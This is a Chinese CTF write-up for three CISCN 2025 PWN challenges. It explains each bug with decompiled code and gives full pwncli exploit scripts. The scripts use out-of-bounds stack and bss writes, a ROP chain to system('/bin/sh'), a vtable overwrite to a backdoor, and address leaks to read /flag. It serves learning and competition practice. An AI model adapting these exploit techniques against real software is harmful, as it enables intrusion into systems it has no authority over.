Ciscn 2025 初赛 PWN

avm

index只检查最低一位造成的越界读写,读写是栈上的数据,因此ROP即可

读取main函数的返回地址,计算偏移得到system("/bin/sh")

由于程序不能输入数字,只能自己构造,非常恶心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
addr = '8.147.132.32 16814'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn')

payload = b''


def add(reg1, reg2, reg3):
global payload
payload += p32_ex((1 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def sub(reg1, reg2, reg3):
global payload
payload += p32_ex((2 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def mul(reg1, reg2, reg3):
global payload
payload += p32_ex((3 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def div(reg1, reg2, reg3):
global payload
payload += p32_ex((4 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def xor(reg1, reg2, reg3):
global payload
payload += p32_ex((5 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def and_(reg1, reg2, reg3):
global payload
payload += p32_ex((6 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def shr(reg1, reg2, reg3):
global payload
payload += p32_ex((8 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def shl(reg1, reg2, reg3):
global payload
payload += p32_ex((7 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (reg3 << 0x10))


def mov(reg1, reg2, off):
"""
s[reg2 + off] = reg1
"""
global payload
payload += p32_ex((9 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (off << 0x10))


def lea(reg1, reg2, off):
"""
reg1 = s[reg2 + off]
"""
global payload
payload += p32_ex((10 << 0x1C) + (reg1 << 0) + (reg2 << 5) + (off << 0x10))


def cal(target_value):
def construct_steps_and_shift_indices(target_value):
steps = []
shift_indices = []

shift_value = 1
shift_count = 0

while shift_value <= target_value:
shift_count += 1
shift_value = 1 << shift_count

while target_value > 0:
if shift_value <= target_value:
steps.append(f"(1 << {shift_count})")
shift_indices.append(shift_count)
target_value -= shift_value
shift_count -= 1
if shift_count >= 0:
shift_value = 1 << shift_count
else:
break

return steps, shift_indices

def adjacent_differences(arr):
return [-(arr[i + 1] - arr[i]) for i in range(len(arr) - 1)]

steps, shift_indices = construct_steps_and_shift_indices(target_value)

shift_indices.append(0)
result = adjacent_differences(shift_indices)

return result


cmd = '''
brva 0x1AAD
c
set $s = $rsi
set $code = $rebase(0x40C0)
dis 1
#brva 0x1950
#brva 0x1935
# lea
#brva 0x17EF
#brva 0x181F
# mov
#brva 0x16B0
# shr
#brva 0x1749
# shl
#brva 0x14EF
# div
brva 0x1AFC
c
'''
launch_gdb(cmd)

lea(1, 0, 0xFE)
div(1, 1, 1) # reg[1] -> 1
add(2, 1, 1) # reg[2] -> 2
mul(4, 2, 2) # reg[4] -> 4
add(3, 1, 2) # reg[3] -> 3
add(5, 2, 3) # reg[5] -> 5
add(6, 3, 3) # reg[6] -> 6

# lea(7, 0, 0x108) # reg[7] -> canary
lea(0x10, 0, 0xD38) # reg[0x10] -> libc + 0x236b10
lea(0x11, 0, 0x100)
'''
[*] INFO dis system 0x1f34a0
[*] INFO dis rdi 0x20c72b
[*] INFO dis bin 0x5e498

0x1eb555
(1 << 21) + (1 << 18) + (1 << 14) + (1 << 10) = 0x1EB555

0x211ee0
0x63c4d
'''

CG.set_find_area(False, True)

for i in cal(0x655):
sub(0x1D, 0x1D, 0x1D)
add(0x1D, i, 0x1D)
add(0x1E, 0x1E, 1)
shl(0x1E, 0x1E, 0x1D)

# add(0x1E, 0x1E, 1)
add(0x1C, 0x10, 0x1E)
mov(0x1C, 0, 0x118) # ret + 0x0
add(0x1C, 0x1C, 1)
mov(0x1C, 0, 0x128) # ret + 0x0

sub(0x1E, 0x1E, 0x1E)
for i in cal(0x26FE0):
sub(0x1D, 0x1D, 0x1D)
add(0x1D, i, 0x1D)
add(0x1E, 0x1E, 1)
shl(0x1E, 0x1E, 0x1D)

# add(0x1E, 0x1E, 1)
add(0x1C, 0x10, 0x1E)
mov(0x1C, 0, 0x130) # ret + 0x10


sub(0x1E, 0x1E, 0x1E)
for i in cal(0x1AE8E8):
sub(0x1D, 0x1D, 0x1D)
add(0x1D, i, 0x1D)
add(0x1E, 0x1E, 1)
shl(0x1E, 0x1E, 0x1D)

# add(0x1E, 0x1E, 1)
add(0x1C, 0x10, 0x1E)
mov(0x1C, 0, 0x120) # ret + 0x8


sa(b'opcode:', payload)

sl(b'cat /flag')
ia()

anote

非常简单的越界菜单题,show拿到堆地址,修改虚表为后门即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
from pwncli import *

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag == "remote":
addr = '47.94.95.135 32829'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./note')
if local_flag == "nodbg":
gift.remote = True
init_x86_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./note')
cmd = '''
b *
c
'''
launch_gdb(cmd)

input_after_this = b'Choice>>'

def add():
sla(input_after_this, b'1')

def edit(idx, data):
sla(input_after_this, b'3')
sla(b'index', str(idx))
sla(b'len', str(32))
sla(b'content', data)

def show(idx):
sla(input_after_this, b'2')
sla(b'index', str(idx))


add()
add()
show(0)
ru(b'0x')
gift = int(ru(b'\n', drop=True), 16) + 8
log_address_ex2(gift)

edit(0, p32_ex(0x80489CE) * 4)
edit(-8, p32_ex(gift))

ia()

anyip

比赛时一直卡在二叉树的构建上,比赛后发现就是个中序遍历生成二叉树罢了,唉,太菜了

如果我是二叉树之神的话……………………

逆向

程序开放了9999端口,需要发送特定格式的数据

首先检验了几个byte位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall sub_3948(struct_v4 *a1, int a2)
{
if ( BYTE5(a1->qword8) == 7 )
{
if ( BYTE4(a1->qword8) == 1 )
{
return 1LL;
}
else
{
sub_39B8(a2, (__int64)a1, 129, 7);
return 0LL;
}
}
else
{
sub_39B8(a2, (__int64)a1, 129, 8);
return 0LL;
}
}

然后,前4字节是op位,根据op进行不同的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ssize_t __fastcall sub_3424(struct_v4 *a1, unsigned int a2)
{
int op_low; // eax
char v4; // [rsp+1Fh] [rbp-1h]

op_low = LOWORD(a1->op);
if ( op_low == 'DD' )
{
v4 = sub_3248(BYTE3(a1->op), (const char *)a1->buf);// queue
goto LABEL_12;
}
if ( LOWORD(a1->op) <= 0x4444u )
{
if ( op_low == 0x3333 )
{
v4 = sub_2969(BYTE3(a1->op), a1->buf, *(_QWORD *)&a1->len);// tree
goto LABEL_12;
}
if ( LOWORD(a1->op) <= 0x3333u )
{
if ( op_low == 0x1111 )
{
v4 = sub_2D03(a2, a1);
goto LABEL_12;
}
if ( op_low == 0x2222 )
{
v4 = sub_3108(BYTE3(a1->op), a1->buf, *(_QWORD *)&a1->len);// stack
goto LABEL_12;
}
}
}
sub_39B8(a2, (__int64)a1, 129, 3);
LABEL_12:
if ( v4 )
return sub_39B8(a2, (__int64)a1, 0, 0);
else
return sub_39B8(a2, (__int64)a1, 129, 3);
}

0x1111是打印log,更新log

0x2222是一个stack

0x3333是一个二叉树

0x4444是一个queue

首先看stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall sub_3108(int a1, const char *a2)
{
int v2; // edx
int v3; // eax
__int64 v4; // rax
_BYTE v6[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+58h] [rbp-18h]

v7 = __readfsqword(0x28u);
if ( a1 == 1 )
{
if ( stack2_ptr - dword_90CC == 10 )
{
return 0LL;
}
else
{
v2 = atoi(a2);
v3 = stack2_ptr++;
stack2[v3] = v2;
return 1LL;
}
}
else if ( a1 == 2 )
{
int2str(v6, stack2[--stack2_ptr]);
v4 = std::string::c_str(v6);
log(v4);
std::string::~string(v6);
return 1LL;
}
else
{
return 0LL;
}
}

就一个pop和一个push,其中对位置的判断只有if ( stack2_ptr - dword_90CC == 10 )这一条,因此有越界的读写

再看到queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall sub_3248(int a1, const char *a2)
{
__int64 v2; // rax
int v4; // [rsp+2Ch] [rbp-44h]
unsigned int v5; // [rsp+2Ch] [rbp-44h]
_BYTE v6[40]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+58h] [rbp-18h]

v7 = __readfsqword(0x28u);
if ( a1 == 1 )
{
v4 = atoi(a2);
if ( (stack4_head + 1) % 10 == stack4_tail )
{
return 0LL;
}
else
{
stack4[stack4_head] = v4;
stack4_head = (stack4_head + 1) % 10; // store int
return 1LL;
}
}
else if ( a1 == 2 )
{
if ( stack4_tail == stack4_head )
{
return 0LL;
}
else
{
v5 = stack4[stack4_tail];
stack4_tail = (stack4_tail + 1) % 10;
int2str(v6, v5);
v2 = std::string::c_str(v6);
log(v2);
std::string::~string(v6);
return 1LL;
}
}
else
{
return 0LL;
}
}

也是有简单的dequeueenqueue

同样,对head的判断只有if ( (stack4_head + 1) % 10 == stack4_tail ),也是任意写

最后看到二叉树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
__int64 __fastcall sub_2969(int a1, char *a2)
{
char *v2; // rbx
unsigned int v3; // ebx
__int64 v5; // rax
char v7; // [rsp+27h] [rbp-E9h] BYREF
char *node; // [rsp+28h] [rbp-E8h] BYREF
_BYTE v9[80]; // [rsp+30h] [rbp-E0h] BYREF
_BYTE v10[80]; // [rsp+80h] [rbp-90h] BYREF
_BYTE v11[40]; // [rsp+D0h] [rbp-40h] BYREF
unsigned __int64 v12; // [rsp+F8h] [rbp-18h]

v12 = __readfsqword(0x28u);
sub_41A6(v9); // queue
sub_42AC(v10);
node = (char *)tree;
std::allocator<char>::allocator(&v7);
sub_431E(v11, &unk_6008, &v7);
std::allocator<char>::~allocator(&v7);
if ( a1 == 3 )
{
tree = (__int64)new_tree(*a2);
v3 = 1;
}
else
{
if ( a1 > 3 )
{
LABEL_25:
v3 = 0;
goto LABEL_26;
}
if ( a1 == 1 )
{
sub_43E2((__int64)v9, (__int64)&node);
while ( (unsigned __int8)sub_440C((__int64)v9) != 1 )// is_empty
{
node = *(char **)sub_442A(v9); // dequeue
if ( !*((_QWORD *)node + 1) || !*((_QWORD *)node + 2) )
break;
sub_43E2((__int64)v9, (__int64)(node + 8));// enqueue
sub_43E2((__int64)v9, (__int64)(node + 16));
sub_4448((__int64)v9); // pop
}
v2 = node;
if ( *((_QWORD *)node + 1) )
*((_QWORD *)v2 + 2) = new_tree(*a2);
else
*((_QWORD *)v2 + 1) = new_tree(*a2);
v3 = 1;
}
else
{
if ( a1 != 2 )
goto LABEL_25;
while ( node || (unsigned __int8)sub_4468((__int64)v10) != 1 )// is_empty
{
if ( node )
{
sub_4486(v10, &node);
node = (char *)*((_QWORD *)node + 1);
}
else
{
node = *(char **)sub_44B0((__int64)v10);// pop
std::string::operator+=(v11, (unsigned int)*node);
sub_44CE(v10); // pop
node = (char *)*((_QWORD *)node + 2);
}
}
v5 = std::string::c_str(v11);
log(v5);
v3 = 1;
}
}
LABEL_26:
std::string::~string(v11);
sub_3F48(v10);
sub_3F28(v9);
return v3;
}

有一个初始化,一个insert和一个遍历

这里上面的v9是queue,v10是stack

所以对应的,insert是层序插入,遍历输出是中序输出(参考非递归实现的中序遍历)

0x1111是log相关的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 __fastcall sub_2D03(unsigned int a1, __int64 a2)
{
__int64 v2; // rdx
__int64 v4; // rax
unsigned int v5; // ebx
__int64 v6; // rax
unsigned int v7; // ebx
int v9; // [rsp+14h] [rbp-46Ch]
time_t timer; // [rsp+18h] [rbp-468h] BYREF
_QWORD v11[4]; // [rsp+20h] [rbp-460h] BYREF
_BYTE v12[80]; // [rsp+40h] [rbp-440h] BYREF
_BYTE v13[32]; // [rsp+90h] [rbp-3F0h] BYREF
_BYTE v14[32]; // [rsp+B0h] [rbp-3D0h] BYREF
_BYTE v15[16]; // [rsp+D0h] [rbp-3B0h] BYREF
__int64 v16; // [rsp+E0h] [rbp-3A0h] BYREF
_BYTE v17[520]; // [rsp+260h] [rbp-220h] BYREF
unsigned __int64 v18; // [rsp+468h] [rbp-18h]

v18 = __readfsqword(0x28u);
v9 = *(unsigned __int8 *)(a2 + 3);
v2 = *(_QWORD *)(a2 + 24);
v11[2] = *(_QWORD *)(a2 + 16);
v11[3] = v2;
std::ifstream::basic_ifstream(v17);
sub_42AC(v12);
v11[0] = tree;
v11[1] = 0LL;
std::allocator<char>::allocator(&timer);
sub_431E(v13, &unk_6008, &timer);
std::allocator<char>::~allocator(&timer);
std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(v15);
if ( v9 == 1 )
{
time(&timer);
memset(s, 0, sizeof(s));
sprintf(s, "%ld.log", timer);
log("----- log -----");
v7 = 1;
}
else if ( v9 == 2 )
{
while ( v11[0] || (unsigned __int8)sub_4468(v12) != 1 )// is_empty
{
if ( v11[0] )
{
sub_4486(v12, v11); // stack
v11[0] = *(_QWORD *)(v11[0] + 8LL);
}
else
{
v11[0] = *(_QWORD *)sub_44B0(v12); // pop
std::string::operator+=(v13, (unsigned int)*(char *)v11[0]);
sub_44CE(v12); // pop
v11[0] = *(_QWORD *)(v11[0] + 16LL);
}
}
if ( !(unsigned int)std::string::compare(v13, "SomeIpfun") )
{
std::ifstream::open(v17, s, 8LL);
v4 = std::ifstream::rdbuf(v17);
std::ostream::operator<<(&v16, v4);
std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v14, v15);
std::ifstream::close(v17);
v5 = std::string::length(v14);
v6 = std::string::c_str(v14);
sub_3A75(a1, a2, v6, v5);
std::string::~string(v14);
}
v7 = 1;
}
else
{
v7 = 0;
}
std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream(v15);
std::string::~string(v13);
sub_3F48(v12);
std::ifstream::~ifstream(v17);
return v7;
}

op1是更新log文件名

op2是首先检测tree的遍历结果是不是”SomeIpfun”,如果是的话就打开log并输出

Hack

首先,程序实现的stack和queue都是在bss段,而log的文件名也是在bss段,因此我们可以使用越界读写修改文件名为/flag,直接输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#!/usr/bin/env python3
from pwncli import *
import tree

context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

cmd = '''
brva 0x3B4F
# log
#brva 0x31CB
# stack pop
brva 0x319B
# stack push
brva 0x32FD
# queue push

set $stack_ptr = $rebase(0x90C8)
set $stack_addr = $rebase(0x90A0)
c
'''

if local_flag == "remote":
addr = ''
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
# gdb.debug('./pwn', cmd)
# p = process('./pwn')
if local_flag != "nodbg":
gdb.attach(p, cmd)
# pause()
sleep(2)
gift.io = remote('127.0.0.1', 9999)
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc('/lib/x86_64-linux-gnu/libc.so.6')
gift.elf = ELF('./pwn')
# launch_gdb(cmd)


def tree_insert(data):
payload = flat(
{
0x0: 0x1003333,
0x8: 0x70100000000,
0x10: data,
},
filler=b'\x00',
)
s(payload)
return r()


def tree_initial(data):
payload = flat(
{
0x0: 0x3003333,
0x8: 0x70100000000,
0x10: data,
},
filler=b'\x00',
)
s(payload)
return r()


def tree_traversal():
payload = flat(
{
0x0: 0x2003333,
0x8: 0x70100000000,
0x10: 0,
},
filler=b'\x00',
)
s(payload)
return r()


def stack_pop():
payload = flat(
{
0x0: 0x2002222,
0x8: 0x70100000000,
0x10: 0,
},
filler=b'\x00',
)
s(payload)
return r()


def stack_push(data):
payload = flat(
{
0x0: 0x1002222,
0x8: 0x70100000000,
0x10: data,
},
filler=b'\x00',
)
s(payload)
return r()


def queue_pop():
payload = flat(
{
0x0: 0x2004444,
0x8: 0x70100000000,
0x10: 0,
},
filler=b'\x00',
)
s(payload)
return r()


def queue_push(data):
payload = flat(
{
0x0: 0x1004444,
0x8: 0x70100000000,
0x10: data,
},
filler=b'\x00',
)
s(payload)
return r()


def log_tree():
payload = flat(
{
0x0: 0x2001111,
0x8: 0x70100000000,
0x10: 0,
},
filler=b'\x00',
)
s(payload)
return r()


str_ = tree.generate(b"SomeIpfun")
tree_initial(str_[0])
for i in range(1, len(str_)):
tree_insert(str_[i])

def leak():
for i in range(0x98 // 0x4):
stack_pop()

data = log_tree().decode('latin-1').split('\n')
# print(data)
# log_ex(f"{int(data[-3]):#x}{int(data[-2]) & ((1 << 32) - 1):#x}")
heap_base = (int(data[23]) << 32) + (int(data[24]) & ((1 << 32) - 1)) - 0x125C0
log_heap_base_addr(heap_base)
code_base = (int(data[37]) << 32) + (int(data[38]) & ((1 << 32) - 1)) - 0x9008
set_current_code_base_and_log(code_base)
libc_base = (int(data[35]) << 32) + (int(data[36]) & ((1 << 32) - 1)) - 0x2F68C0
set_current_libc_base_and_log(libc_base)

for i in range(5):
stack_pop()

stack_push(b'32')
queue_push(str(u32_ex(b'/fla')).encode())
stack_pop()
stack_push(b'33')
queue_push(str(u32_ex(b'g\x00')).encode())

log_tree()


ia()

二叉树生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
class TreeNode:
def __init__(self, value: int):
self.value = value
self.left = None
self.right = None


class BinaryTree:
def __init__(self):
self.root = None

def insert(self, value: int):
if not self.root:
self.root = TreeNode(value)
return

queue = [self.root]

while queue:
node = queue.pop(0)

if not node.left or not node.right:
break

queue.append(node.left)
queue.append(node.right)

if node.left:
node.right = TreeNode(value)
else:
node.left = TreeNode(value)

def in_order(self) -> list[int]:
if not self.root:
return b""

stack = []
node = self.root
result = []

while(node or stack):
if node:
stack.append(node)
node = node.left
else:
node = stack.pop()
result.append(node.value)
node = node.right

return result

def generate(str: bytes):
tree = BinaryTree()
for i in range(len(str)):
tree.insert(i)

order = zip(tree.in_order(), [bytes([byte]) for byte in str])
order = sorted(order, key=lambda x: x[0])

return(([x[1] for x in order]))

image-20241217092758164

赛后总结

总之就是十分的菜,没看出是个中序遍历,有空再把剩下的题都复现了